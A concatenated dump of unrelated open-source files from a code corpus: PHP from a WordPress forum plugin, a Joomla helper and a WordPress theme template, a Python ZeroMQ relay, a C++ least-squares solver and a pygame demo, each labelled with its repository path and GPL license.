$sfadminoptions['colors']['submitbg'] = '27537A';
$sfadminoptions['colors']['submitbgt'] = 'FFFFFF';
$sfadminoptions['colors']['bbarbg'] = '0066CC';
$sfadminoptions['colors']['bbarbgt'] = 'FFFFFF';
$sfadminoptions['colors']['formbg'] = '0066CC';
$sfadminoptions['colors']['formbgt'] = 'FFFFFF';
$sfadminoptions['colors']['panelbg'] = '78A1FF';
$sfadminoptions['colors']['panelbgt'] = '000000';
$sfadminoptions['colors']['panelsubbg'] = 'A7C1FF';
$sfadminoptions['colors']['panelsubbgt'] = '000000';
$sfadminoptions['colors']['formtabhead'] = '464646';
$sfadminoptions['colors']['formtabheadt'] = 'D7D7D7';
$sfadminoptions['colors']['tabhead'] = '0066CC';
$sfadminoptions['colors']['tabheadt'] = 'D7D7D7';
$sfadminoptions['colors']['tabrowmain'] = 'EAF3FA';
$sfadminoptions['colors']['tabrowmaint'] = '000000';
$sfadminoptions['colors']['tabrowsub'] = '78A1FF';
$sfadminoptions['colors']['tabrowsubt'] = '000000';
sf_update_member_item($uid, 'admin_options', $sfadminoptions);
# remove any usergroup permissions
$wpdb->query("DELETE FROM ".SFMEMBERSHIPS." WHERE user_id=".$uid);
}
}
if ($added)
{
$mess = __("New Admins Added!", "sforum");
} else {
$mess = __("No Data Changed!", "sforum");
}
return $mess;
}
?> | gpl-2.0 |
corejoomla/crosswords | com_crosswords/admin/helpers/html/crosswordsadministrator.php | 3553 | <?php
/**
* @version $Id: helper.php 01 2012-06-30 11:37:09Z maverick $
* @package CoreJoomla.Pollss
* @subpackage Components
* @copyright Copyright (C) 2009 - 2012 corejoomla.com. All rights reserved.
* @author Maverick
* @link http://www.corejoomla.com/
* @license License GNU General Public License version 2 or later
*/
defined('_JEXEC') or die;
JLoader::register('CrosswordsHelper', JPATH_ADMINISTRATOR.'/components/com_crosswords/helpers/crosswords.php');
abstract class JHtmlCrosswordsAdministrator
{
public static function association($id)
{
// Defaults
$html = '';
// Get the associations
if ($associations = JLanguageAssociations::getAssociations('com_crosswords', '#__crosswords', 'com_crosswords.item', $id))
{
foreach ($associations as $tag => $associated)
{
$associations[$tag] = (int) $associated->id;
}
// Get the associated menu items
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('c.*')
->select('l.sef as lang_sef')
->from('#__crosswords as c')
->select('cat.title as category_title')
->join('LEFT', '#__categories as cat ON cat.id=c.catid')
->where('c.id IN (' . implode(',', array_values($associations)) . ')')
->join('LEFT', '#__languages as l ON c.language=l.lang_code')
->select('l.image')
->select('l.title as language_title');
$db->setQuery($query);
try
{
$items = $db->loadObjectList('id');
}
catch (RuntimeException $e)
{
throw new Exception($e->getMessage(), 500);
}
if ($items)
{
foreach ($items as &$item)
{
$text = strtoupper($item->lang_sef);
$url = JRoute::_('index.php?option=com_crosswords&task=crossword.edit&id=' . (int) $item->id);
$tooltipParts = array(
JHtml::_('image', 'mod_languages/' . $item->image . '.gif',
$item->language_title,
array('title' => $item->language_title),
true
),
$item->title,
'(' . $item->category_title . ')'
);
$item->link = JHtml::_('tooltip', implode(' ', $tooltipParts), null, null, $text, $url, null, 'hasTooltip label label-association label-' . $item->lang_sef);
}
}
$html = JLayoutHelper::render('joomla.content.associations', $items);
}
return $html;
}
/**
* Show the feature/unfeature links
*
* @param int $value The state value
* @param int $i Row number
* @param boolean $canChange Is user allowed to change?
*
* @return string HTML code
*/
public static function featured($value = 0, $i, $canChange = true)
{
if(APP_VERSION >= 3)
{
JHtml::_('bootstrap.tooltip');
}
// Array of image, task, title, action
$states = array(
0 => array('unfeatured', 'crosswords.featured', 'COM_CROSSWORDS_UNFEATURED', 'COM_CROSSWORDS_TOGGLE_TO_FEATURE'),
1 => array('featured', 'crosswords.unfeatured', 'COM_CROSSWORDS_FEATURED', 'COM_CROSSWORDS_TOGGLE_TO_UNFEATURE'),
);
$state = JArrayHelper::getValue($states, (int) $value, $states[1]);
$icon = $state[0];
if ($canChange)
{
$html = '<a href="#" onclick="return listItemTask(\'cb' . $i . '\',\'' . $state[1] . '\')" class="btn btn-micro hasTooltip'
. ($value == 1 ? ' active' : '') . '" title="' . JHtml::tooltipText($state[3]) . '"><i class="icon-'
. $icon . '"></i></a>';
}
else
{
$html = '<a class="btn btn-micro hasTooltip disabled' . ($value == 1 ? ' active' : '') . '" title="' . JHtml::tooltipText($state[2]) . '"><i class="icon-'
. $icon . '"></i></a>';
}
return $html;
}
}
| gpl-2.0 |
scem/zing | src/main/zing/newsroom.py | 1113 | '''
Created on May 21, 2015
@author: scem
'''
from threading import Thread
from zing import Zinger
import zmq
CLOSED = 'stopped'
OPEN = 'running'
class NewsRoom(Thread):
'''
classdocs
'''
def __init__(self, inport='7001', outport='7002'):
self.inport = inport
self.outport = outport
self._status = CLOSED
Thread.__init__(self)
def status(self):
return self._status
BYE = 'bye'
def close(self):
self._status = CLOSED
Zinger(me='',port=self.inport).zing(self.BYE)
def run(self):
context = zmq.Context()
incoming = context.socket(zmq.PULL)
incoming.setsockopt(zmq.RCVBUF, 0)
incoming.bind('tcp://*:7001')
outgoing = context.socket(zmq.PUB)
outgoing.bind('tcp://*:7002')
self._status = OPEN
while self._status == OPEN:
msg = incoming.recv()
outgoing.send(msg)
incoming.close()
outgoing.close()
context.term()
| gpl-2.0 |
imunro/FLIMfit | FLIMfitLibrary/Source/lmstx.cpp | 22852 | /* lmstr.f -- translated by f2c (version 20020621).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
#include <cmath>
#include <algorithm>
#include <string.h>
#include "cminpack.h"
#include "ConcurrencyAnalysis.h"
#ifdef _WINDOWS
#include "Windows.h"
#endif
#include "omp_stub.h"
using namespace std;
#define TRUE_ (1)
#define FALSE_ (0)
void combine_givens(int n, double *r1, double *r2, int ldr, double *b1, double *b2);
/* Subroutine */ int lmstx(minpack_funcderstx_mn fcn, void *p, int m, int n, int s, int n_jac_group, double *x,
double *fvec, double *fjac, int ldfjac, double ftol,
double xtol, double gtol, int maxfev, double *
diag, int mode, double factor, int nprint, int n_thread,
int *nfev, int *njev, double *fnorm, int *ipvt, double *qtf,
double *wa1, double *wa2, double *wa3, double *wa4)
{
/* Initialized data */
#define p1 .1
#define p5 .5
#define p25 .25
#define p75 .75
#define p0001 1e-4
/* System generated locals */
double d1, d2;
/* Local variables */
int i, j, l;
double par, sum;
int sing;
int iter;
double temp, temp1, temp2;
int iflag;
double delta = 0.;
double ratio;
double gnorm, pnorm, xnorm = 0., fnorm1, actred, dirder,
epsmch, prered;
int info;
/* ********** */
/* subroutine lmstr */
/* the purpose of lmstr is to minimize the sum of the squares of */
/* m nonlinear functions in n variables by a modification of */
/* the levenberg-marquardt algorithm which uses minimal storage. */
/* the user must provide a subroutine which calculates the */
/* functions and the rows of the jacobian. */
/* the subroutine statement is */
/* subroutine lmstr(fcn,m,n,x,fvec,fjac,ldfjac,ftol,xtol,gtol, */
/* maxfev,diag,mode,factor,nprint,info,nfev, */
/* njev,ipvt,qtf,wa1,wa2,wa3,wa4) */
/* where */
/* fcn is the name of the user-supplied subroutine which */
/* calculates the functions and the rows of the jacobian. */
/* fcn must be declared in an external statement in the */
/* user calling program, and should be written as follows. */
/* subroutine fcn(m,n,x,fvec,fjrow,iflag) */
/* integer m,n,iflag */
/* double precision x(n),fvec(m),fjrow(n) */
/* ---------- */
/* if iflag = 1 calculate the norm of the functions */
/* at x and return this in fnorm. */
/* if iflag = i calculate the (i-1)-st row of the */
/* jacobian at x and return this vector in fjrow and
/* calculate the (i-1)-st function and return this in fnorm */
/* ---------- */
/* return */
/* end */
/* the value of iflag should not be changed by fcn unless */
/* the user wants to terminate execution of lmstr. */
/* in this case set iflag to a negative integer. */
/* m is a positive integer input variable set to the number */
/* of functions. */
/* n is a positive integer input variable set to the number */
/* of variables. n must not exceed m. */
/* x is an array of length n. on input x must contain */
/* an initial estimate of the solution vector. on output x */
/* contains the final estimate of the solution vector. */
/* fvec is an output array of length m which contains */
/* the functions evaluated at the output x. */
/* fjac is an output n by n array. the upper triangle of fjac */
/* contains an upper triangular matrix r such that */
/* t t t */
/* p *(jac *jac)*p = r *r, */
/* where p is a permutation matrix and jac is the final */
/* calculated jacobian. column j of p is column ipvt(j) */
/* (see below) of the identity matrix. the lower triangular */
/* part of fjac contains information generated during */
/* the computation of r. */
/* ldfjac is a positive integer input variable not less than n */
/* which specifies the leading dimension of the array fjac. */
/* ftol is a nonnegative input variable. termination */
/* occurs when both the actual and predicted relative */
/* reductions in the sum of squares are at most ftol. */
/* therefore, ftol measures the relative error desired */
/* in the sum of squares. */
/* xtol is a nonnegative input variable. termination */
/* occurs when the relative error between two consecutive */
/* iterates is at most xtol. therefore, xtol measures the */
/* relative error desired in the approximate solution. */
/* gtol is a nonnegative input variable. termination */
/* occurs when the cosine of the angle between fvec and */
/* any column of the jacobian is at most gtol in absolute */
/* value. therefore, gtol measures the orthogonality */
/* desired between the function vector and the columns */
/* of the jacobian. */
/* maxfev is a positive integer input variable. termination */
/* occurs when the number of calls to fcn with iflag = 1 */
/* has reached maxfev. */
/* diag is an array of length n. if mode = 1 (see */
/* below), diag is internally set. if mode = 2, diag */
/* must contain positive entries that serve as */
/* multiplicative scale factors for the variables. */
/* mode is an integer input variable. if mode = 1, the */
/* variables will be scaled internally. if mode = 2, */
/* the scaling is specified by the input diag. other */
/* values of mode are equivalent to mode = 1. */
/* factor is a positive input variable used in determining the */
/* initial step bound. this bound is set to the product of */
/* factor and the euclidean norm of diag*x if nonzero, or else */
/* to factor itself. in most cases factor should lie in the */
/* interval (.1,100.). 100. is a generally recommended value. */
/* nprint is an integer input variable that enables controlled */
/* printing of iterates if it is positive. in this case, */
/* fcn is called with iflag = 0 at the beginning of the first */
/* iteration and every nprint iterations thereafter and */
/* immediately prior to return, with x and fvec available */
/* for printing. if nprint is not positive, no special calls */
/* of fcn with iflag = 0 are made. */
/* info is an integer output variable. if the user has */
/* terminated execution, info is set to the (negative) */
/* value of iflag. see description of fcn. otherwise, */
/* info is set as follows. */
/* info = 0 improper input parameters. */
/* info = 1 both actual and predicted relative reductions */
/* in the sum of squares are at most ftol. */
/* info = 2 relative error between two consecutive iterates */
/* is at most xtol. */
/* info = 3 conditions for info = 1 and info = 2 both hold. */
/* info = 4 the cosine of the angle between fvec and any */
/* column of the jacobian is at most gtol in */
/* absolute value. */
/* info = 5 number of calls to fcn with iflag = 1 has */
/* reached maxfev. */
/* info = 6 ftol is too small. no further reduction in */
/* the sum of squares is possible. */
/* info = 7 xtol is too small. no further improvement in */
/* the approximate solution x is possible. */
/* info = 8 gtol is too small. fvec is orthogonal to the */
/* columns of the jacobian to machine precision. */
/* nfev is an integer output variable set to the number of */
/* calls to fcn with iflag = 1. */
/* njev is an integer output variable set to the number of */
/* calls to fcn with iflag = 2. */
/* ipvt is an integer output array of length n. ipvt */
/* defines a permutation matrix p such that jac*p = q*r, */
/* where jac is the final calculated jacobian, q is */
/* orthogonal (not stored), and r is upper triangular. */
/* column j of p is column ipvt(j) of the identity matrix. */
/* qtf is an output array of length n which contains */
/* the first n elements of the vector (q transpose)*fvec. */
/* wa1, wa2, and wa3, wa4 are work arrays of length n. */
/* wa4 is a work array of length n. */
/* subprograms called */
/* user-supplied ...... fcn */
/* minpack-supplied ... dpmpar,enorm,lmpar,qrfac,rwupdt */
/* fortran-supplied ... dabs,dmax1,dmin1,dsqrt,mod */
/* argonne national laboratory. minpack project. march 1980. */
/* burton s. garbow, dudley v. goetschel, kenneth e. hillstrom, */
/* jorge j. more */
/* ********** */
/* epsmch is the machine precision. */
INIT_CONCURRENCY;
#ifdef _DEBUG
char buf[1000];
#endif
epsmch = dpmpar(1);
info = 0;
iflag = 0;
*nfev = 0;
*njev = 0;
/* evaluate the function at the starting point */
/* and calculate its norm. */
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
START_SPAN("Calculating Variable Projection");
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
iflag = (*fcn)(p, m, n, s, x, fnorm, wa3, 0, 0);
*nfev = 1;
if (iflag < 0) {
goto TERMINATE;
}
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
END_SPAN;
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/* check the input parameters for errors. */
if (n <= 0 || m < n || ldfjac < n || ftol < 0. || xtol < 0. ||
gtol < 0. || maxfev <= 0 || factor <= 0.) {
goto TERMINATE;
}
if (mode == 2) {
for (j = 0; j < n; ++j) {
if (diag[j] <= 0.) {
goto TERMINATE;
}
}
}
/* initialize levenberg-marquardt parameter and iteration counter. */
par = 0.;
iter = 1;
/* beginning of the outer loop. */
for (;;) {
/* if requested, call fcn to enable printing of iterates. */
if (nprint > 0) {
iflag = 0;
if ((iter - 1) % nprint == 0) {
iflag = (*fcn)(p, m, n, s, x, fnorm, wa3, 0, 0);
}
if (iflag < 0) {
goto TERMINATE;
}
}
//sprintf(buf,"%f, %f\n",x[0],x[1]);
//OutputDebugString(buf);
//TestReducedJacobian(fcn, p, m, n, x, fjac, ldfjac, qtf, wa1, wa2, wa3, wa4);
/* compute the qr factorization of the jacobian matrix */
/* calculated one row at a time, while simultaneously */
/* forming (q transpose)*fvec and storing the first */
/* n components in qtf. */
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
START_SPAN("Factoring Jacobian");
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
factorise_jacobian(fcn, p, m, n, s, n_jac_group, x, fvec, fjac, ldfjac, qtf, wa1, wa2, wa3, n_thread);
++(*njev);
/* if the jacobian is rank deficient, call qrfac to */
/* reorder its columns and update the components of qtf. */
sing = FALSE_;
for (j = 0; j < n; ++j) {
if (fjac[j + j * ldfjac] == 0.) {
sing = TRUE_;
}
ipvt[j] = j+1;
wa2[j] = enorm(j+1, &fjac[j * ldfjac + 0]);
}
if (sing) {
qrfac(n, n, fjac, ldfjac, TRUE_, ipvt, n,
wa1, wa2, wa3);
for (j = 0; j < n; ++j) {
if (fjac[j + j * ldfjac] != 0.) {
sum = 0.;
for (i = j; i < n; ++i) {
sum += fjac[i + j * ldfjac] * qtf[i];
}
temp = -sum / fjac[j + j * ldfjac];
for (i = j; i < n; ++i) {
qtf[i] += fjac[i + j * ldfjac] * temp;
}
}
fjac[j + j * ldfjac] = wa1[j];
}
}
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
END_SPAN;
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/* on the first iteration and if mode is 1, scale according */
/* to the norms of the columns of the initial jacobian. */
if (iter == 1) {
if (mode != 2) {
for (j = 0; j < n; ++j) {
diag[j] = wa2[j];
if (wa2[j] == 0.) {
diag[j] = 1.;
}
}
}
/* on the first iteration, calculate the norm of the scaled x */
/* and initialize the step bound delta. */
for (j = 0; j < n; ++j) {
wa3[j] = diag[j] * x[j];
}
xnorm = enorm(n, wa3);
delta = factor * xnorm;
if (delta == 0.) {
delta = factor;
}
}
/* compute the norm of the scaled gradient. */
gnorm = 0.;
if (*fnorm != 0.) {
for (j = 0; j < n; ++j) {
l = ipvt[j]-1;
if (wa2[l] != 0.) {
sum = 0.;
for (i = 0; i <= j; ++i) {
sum += fjac[i + j * ldfjac] * (qtf[i] / *fnorm);
}
/* Computing MAX */
d1 = fabs(sum / wa2[l]);
gnorm = max(gnorm,d1);
}
}
}
/* test for convergence of the gradient norm. */
if (gnorm <= gtol) {
info = 4;
}
if (info != 0) {
goto TERMINATE;
}
/* rescale if necessary. */
if (mode != 2) {
for (j = 0; j < n; ++j) {
/* Computing MAX */
d1 = diag[j], d2 = wa2[j];
diag[j] = max(d1,d2);
}
}
/* beginning of the inner loop. */
do {
/* determine the levenberg-marquardt parameter. */
lmpar(n, fjac, ldfjac, ipvt, diag, qtf, delta,
&par, wa1, wa2, wa3, wa4);
/* store the direction p and x + p. calculate the norm of p. */
for (j = 0; j < n; ++j) {
wa1[j] = -wa1[j];
wa2[j] = x[j] + wa1[j];
wa3[j] = diag[j] * wa1[j];
}
pnorm = enorm(n, wa3);
/* on the first iteration, adjust the initial step bound. */
if (iter == 1) {
delta = min(delta,pnorm);
}
/* evaluate the function at x + p and calculate its norm. */
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
START_SPAN("Calculating Variable Projection");
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
iflag = (*fcn)(p, m, n, s, wa2, &fnorm1, wa3, 1, 0);
++(*nfev);
if (iflag < 0) {
goto TERMINATE;
}
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
END_SPAN;
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/* compute the scaled actual reduction. */
actred = -1.;
if (p1 * fnorm1 < *fnorm) {
/* Computing 2nd power */
d1 = fnorm1 / *fnorm;
actred = 1. - d1 * d1;
}
/* compute the scaled predicted reduction and */
/* the scaled directional derivative. */
for (j = 0; j < n; ++j) {
wa3[j] = 0.;
l = ipvt[j]-1;
temp = wa1[l];
for (i = 0; i <= j; ++i) {
wa3[i] += fjac[i + j * ldfjac] * temp;
}
}
temp1 = enorm(n, wa3) / *fnorm;
temp2 = (sqrt(par) * pnorm) / *fnorm;
prered = temp1 * temp1 + temp2 * temp2 / p5;
dirder = -(temp1 * temp1 + temp2 * temp2);
/* compute the ratio of the actual to the predicted */
/* reduction. */
ratio = 0.;
if (prered != 0.) {
ratio = actred / prered;
}
/* update the step bound. */
if (ratio <= p25) {
if (actred >= 0.) {
temp = p5;
} else {
temp = p5 * dirder / (dirder + p5 * actred);
}
if (p1 * fnorm1 >= *fnorm || temp < p1) {
temp = p1;
}
/* Computing MIN */
d1 = pnorm / p1;
delta = temp * min(delta,d1);
par /= temp;
} else {
if (par == 0. || ratio >= p75) {
delta = pnorm / p5;
par = p5 * par;
}
}
#ifdef _DEBUG
#ifdef _WINDOWS
//sprintf(buf,"%f, %f: %e, %e --- %e\n",wa2[0],wa2[1],prered,actred,fnorm1 );
//OutputDebugString(buf);
#endif
#endif // DEBUG
/* test for successful iteration. */
if (ratio >= p0001) {
/* successful iteration. update x, fvec, and their norms. */
for (j = 0; j < n; ++j) {
x[j] = wa2[j];
wa2[j] = diag[j] * x[j];
}
xnorm = enorm(n, wa2);
*fnorm = fnorm1;
++iter;
}
/* tests for convergence. */
if (fabs(actred) <= ftol && prered <= ftol && p5 * ratio <= 1.) {
info = 1;
}
if (delta <= xtol * xnorm) {
info = 2;
}
if (fabs(actred) <= ftol && prered <= ftol && p5 * ratio <= 1. && info == 2) {
info = 3;
}
if (info != 0) {
goto TERMINATE;
}
/* tests for termination and stringent tolerances. */
if (*nfev >= maxfev) {
info = 5;
}
if (fabs(actred) <= epsmch && prered <= epsmch && p5 * ratio <= 1.) {
info = 6;
}
if (delta <= epsmch * xnorm) {
info = 7;
}
if (gnorm <= epsmch) {
info = 8;
}
if (info != 0) {
goto TERMINATE;
}
/* end of the inner loop. repeat if iteration unsuccessful. */
} while (ratio < p0001);
/* end of the outer loop. */
}
TERMINATE:
/* termination, either normal or user imposed. */
if (iflag < 0) {
info = iflag;
}
if (nprint > 0) {
(*fcn)(p, m, n, s, x, fnorm, wa3, 0, 0);
}
return info;
/* last card of subroutine lmstr. */
} /* lmstr_ */
/* Subroutine */ int factorise_jacobian(minpack_funcderstx_mn fcn, void *p, int m, int n, int s, int n_jac_group, double *x,
double* fvec, double *fjac, int ldfjac, double *qtf, double *wa1, double *wa2, double *wa3, int n_thread)
{
//#define TEST_FACTORISATION
#ifdef TEST_FACTORISATION
double* qtf_true = new double[n];
double* fjac_true = new double[n*ldfjac];
memset(qtf_true, 0, n*sizeof(double));
memset(fjac_true, 0, n*ldfjac*sizeof(double));
int iflag = 2;
(*fcn)(p, m, n, s, x, fvec, wa3, iflag++, 0);
rwupdt(n, fjac_true, ldfjac, wa3, qtf_true, fvec, wa1, wa2);
for (int i = 0; i < s; ++i)
{
(*fcn)(p, m, n, s, x, fvec, wa3, iflag++, 0);
for(int j=0; j<m; j++)
rwupdt(n, fjac_true, ldfjac, wa3+n*j, qtf_true, fvec+j, wa1, wa2);
}
#endif
int dim = max(16,n);
memset(qtf, 0, dim*n_thread*sizeof(double));
memset(fjac, 0, dim*ldfjac*n_thread*sizeof(double));
(*fcn)(p, m, n, s, x, fvec, wa3, 2, 0);
rwupdt(n, fjac, ldfjac, wa3, qtf, fvec, wa1, wa2);
int sm = ceil((double)s/n_jac_group);
if ( sm == 1 )
{
for(int j=0; j<s; j++)
(*fcn)(p, m, n, s, x, fvec+m*j, wa3+m*n*j, j+3, 0);
qrfac2( m*s, n, wa3, ldfjac, fvec, qtf, wa2);
memcpy(fjac,wa3,n*n*sizeof(double));
}
else
{
#pragma omp parallel for num_threads(n_thread)
for (int i = 0; i<sm; i++)
{
int thread = omp_get_thread_num();
double* fjac_ = fjac + dim * ldfjac * thread;
double* qtf_ = qtf + dim * thread;
double* fvec_ = fvec + m * thread * n_jac_group;
double* wa3_ = wa3 + m * dim * thread * n_jac_group;
double* wa1_ = wa1 + dim * thread;
double* wa2_ = wa2 + dim * thread;
int j_max = min(s,(i+1)*n_jac_group) - i*n_jac_group;
for(int j=0; j<j_max; j++)
(*fcn)(p, m, n, s, x, fvec_+m*j, wa3_+m*n*j, i*n_jac_group+j+3, thread);
// Givens transforms
//for(int j=0; j<m; j++)
// rwupdt(n, fjac_, ldfjac, wa3_+n*j, qtf_, fvec_+j, wa1_, wa2_);
// Householder / Givens hybrid
qrfac2( m*j_max, n, wa3_, ldfjac, fvec_, wa1_, wa2_);
for(int j=0; j<n; j++)
rwupdt(n, fjac_, ldfjac, wa3_+n*j, qtf_, wa1_+j, wa2_, fvec_); // here we just use fvec_ as a buffer
}
int n_thread_used = min(n_thread, sm);
for(int i=1; i<n_thread_used; i++)
{
double* fjac_ = fjac + dim * ldfjac * i;
double* qtf_ = qtf + dim * i;
for(int j=0; j<n; j++)
for(int k=0; k<j; k++)
{
fjac_[k * n + j] = fjac_[j * n + k] ;
fjac_[j * n + k] = 0;
}
for(int j=0; j<n; j++)
rwupdt(n, fjac, ldfjac, fjac_ + n*j, qtf, qtf_+j, wa1, wa2);
}
}
#ifdef TEST_FACTORISATION
delete[] qtf_true;
delete[] fjac_true;
#endif
return 0;
}
| gpl-2.0 |
Santalum/Monster-Master | Galaxim.py | 5125 | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
from __future__ import division
import pygame
#import sys
#import time
import math
import random
from pygame.locals import *
#particle
particle0Img = pygame.image.load('sprite/particle/0anim.png')
white = (255, 255, 255)
black = (0, 0, 0)
red = (255, 0, 0)
green = (0, 255, 0)
blue = (0, 0, 255)
magenta = (255, 0, 255)
cyan = (0, 255, 255)
yellow = (255, 255, 0)
pygame.init()
pygame.display.set_caption("Galaxim")
dispWidth = 800 # 1366 # 800 # 1366
dispHeight = 600 # 768 # 600 # 768
gameDisplay = pygame.display.set_mode((dispWidth, dispHeight))
pygame.mixer.music.load("music/xm/noist_transp.xm")
pygame.mixer.music.play(-1, 0)
clock = pygame.time.Clock()
fps = 60
bounce = False
fullscreen = False
music_on = True
def inpCtrl():
global fullscreen
global music_on
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
quit()
elif event.type == pygame.KEYDOWN:
if event.key == K_SPACE:
GParticle.x = dispWidth // 2
GParticle.y = dispHeight // 2
GParticle.change_y = 0
GParticle.change_x = 0
elif event.key == K_f:
if not fullscreen:
gameDisplay = pygame.display.set_mode((dispWidth, dispHeight),
pygame.FULLSCREEN)
fullscreen = True
else:
gameDisplay = pygame.display.set_mode((dispWidth, dispHeight)) # lint:ok
fullscreen = False
elif event.key == K_m:
if music_on:
pygame.mixer.music.pause()
music_on = False
else:
pygame.mixer.music.unpause()
music_on = True
elif event.key == K_ESCAPE:
pygame.quit()
quit()
# wagahai wa yuki de aru
def drawSnow():
for x in range(0, dispWidth, 256):
for y in range(0, dispHeight, 256):
star_colour_i = random.randint(0, 6)
if star_colour_i == 0:
star_colour = white
elif star_colour_i == 1:
star_colour = red
elif star_colour_i == 2:
star_colour = green
elif star_colour_i == 3:
star_colour = blue
elif star_colour_i == 4:
star_colour = cyan
elif star_colour_i == 5:
star_colour = magenta
elif star_colour_i == 6:
star_colour = yellow
star_x = random.randint(0, dispWidth)
star_y = random.randint(0, dispHeight)
pygame.draw.line(gameDisplay, star_colour, [star_x - 3, star_y - 3],
[star_x + 3, star_y + 3], 1)
pygame.draw.line(gameDisplay, star_colour, [star_x, star_y - 4],
[star_x, star_y + 4], 1)
pygame.draw.line(gameDisplay, star_colour, [star_x + 3, star_y - 3],
[star_x - 3, star_y + 3], 1)
pygame.draw.line(gameDisplay, star_colour, [star_x - 4, star_y],
[star_x + 4, star_y], 1)
class Particle:
def __init__(self):
self.x = dispWidth // 2 - 16 - 60
self.y = dispHeight // 2 - 12
self.change_x = 0
self.change_y = 0
self.appearance = particle0Img
# initial frame index
self.index = 0
# initial angle of movement
self.angle = 0
self.rangle = 0
self.speed = 1
self.size = 0.75
def move(self):
self.x += self.change_x
self.y += self.change_y
def moveangular(self):
self.x += math.sin(self.rangle) * self.speed
self.y -= math.cos(self.rangle) * self.speed * 0.2
def draw(self):
# gameDisplay.blit(self.appearance, (self.x, self.y))
ballsprite = self.appearance.subsurface(0, self.index * 32, 32, 32)
ballsprite = pygame.transform.rotate(ballsprite, self.angle)
ballsprite = pygame.transform.scale(ballsprite,
(int(self.size * 32), int(self.size * 32)))
gameDisplay.blit(ballsprite, (self.x, self.y))
GParticle = Particle()
def drawPlanet():
pygame.draw.arc(gameDisplay, green,
(dispWidth // 2 - 96, dispHeight // 2 - 16, 192, 32), 0, math.pi, 4)
# move particle in front of circle
if (GParticle.rangle / math.pi) % 2 >= 1:
pygame.draw.circle(gameDisplay, red, (dispWidth // 2, dispHeight // 2), 32, 0)
# particle time
GParticle.draw()
# move particle behind circle
if (GParticle.rangle / math.pi) % 2 < 1:
pygame.draw.circle(gameDisplay, red, (dispWidth // 2, dispHeight // 2), 32, 0)
pygame.draw.arc(gameDisplay, green,
(dispWidth // 2 - 96, dispHeight // 2 - 16, 196, 32), math.pi, 2 * math.pi, 4)
#GParticle.change_x = (GParticle.index - 4) * 2
#if bounce:
#GParticle.change_y -= 1
##GParticle.change_x += 1
#else:
#GParticle.change_y += 1
##GParticle.change_x -= 1
GParticle.moveangular()
#pygame.draw.ellipse(gameDisplay, green,
#(dispWidth // 2 - 64, dispHeight // 2 - 32, 128, 64), 1)
#GParticle.move()
if GParticle.y >= dispHeight // 2 + 64:
#bounce = True
GParticle.change_y = 0
GParticle.change_x = 0
elif GParticle.y <= dispHeight // 2 - 64:
#bounce = False
#GParticle.change_y = 0
GParticle.change_x = 0
#elif GParticle >= dispHeight // 2:
#GParticle.change_y += 2
if GParticle.index < 9:
GParticle.index += 1
#GParticle.x += 8
else:
GParticle.index = 0
GParticle.angle += 10
GParticle.rangle += math.pi / 2 / 9
GParticle.size = 3 / 4 - 1 / 4 * math.sin(GParticle.rangle)
#print(GParticle.rangle, GParticle.size, math.sin(GParticle.rangle))
while (1):
gameDisplay.fill([0, 0, 0])
drawSnow()
drawPlanet()
pygame.display.update()
clock.tick(fps)
inpCtrl()
| gpl-2.0 |
leonard520/elephantle | wp-content/themes/photosmyth/single.php | 25815 | <?php get_header(); ?>
<!-- Inner Content Section starts here -->
<div id="inner_content_section">
<!-- Main Content Section starts here -->
<div id="main_content_section">
<?php if(of_get_option('custom_header_home') == 'true') : ?>
<div id="featured_section_header">
<img src="<?php header_image(); ?>" height="<?php echo get_custom_header()->height; ?>" width="<?php echo get_custom_header()->width; ?>" alt="" />
</div>
<?php endif; ?>
<?php if( !of_get_option('custom_header_home') || of_get_option('custom_header_home') == 'false' ) : ?>
<?php if(!of_get_option('show_magpro_slider_single') || of_get_option('show_magpro_slider_single') == 'true') : ?>
<?php get_template_part( 'slider', 'wilto' ); ?>
<?php endif; ?>
<?php endif; ?>
<div id="main_content_section_cont">
<?php if (have_posts()) : ?>
<?php $count = 0; while (have_posts()) : the_post(); $count++; ?>
<!-- Actual Post starts here -->
<div <?php post_class('actual_post') ?> id="post-<?php the_ID(); ?>">
<div class="ta_meta_container">
<?php if(of_get_option('show_featured_image_single') == 'true' && has_post_thumbnail() ) : ?>
<div class="featured_section_header">
<?php the_post_thumbnail( 'PhotoSmyththumbfull' ); ?>
</div>
<?php endif; ?>
<div class="actual_post_title">
<h2><?php the_title(); ?></h2>
</div>
<?php if ( function_exists('the_ratings') && (!of_get_option('show_rat_on_single') || of_get_option('show_rat_on_single') == 'true')) : ?>
<div class="actual_post_ratings">
<?php the_ratings(); ?>
</div>
<?php endif; ?>
<?php if (!of_get_option('show_pd_on_single') || of_get_option('show_pd_on_single') == 'true') : ?>
<div class="actual_post_author">
<div class="actual_post_posted"><?php _e('Posted by : ','PhotoSmyth'); ?><span><?php the_author() ?></span> <?php _e('On : ','PhotoSmyth'); ?> <span><?php the_time(get_option( 'date_format' )) ?></span></div>
<div class="actual_post_comments"><?php comments_number( '0', '1', '%' ); ?></div>
</div>
<?php endif; ?>
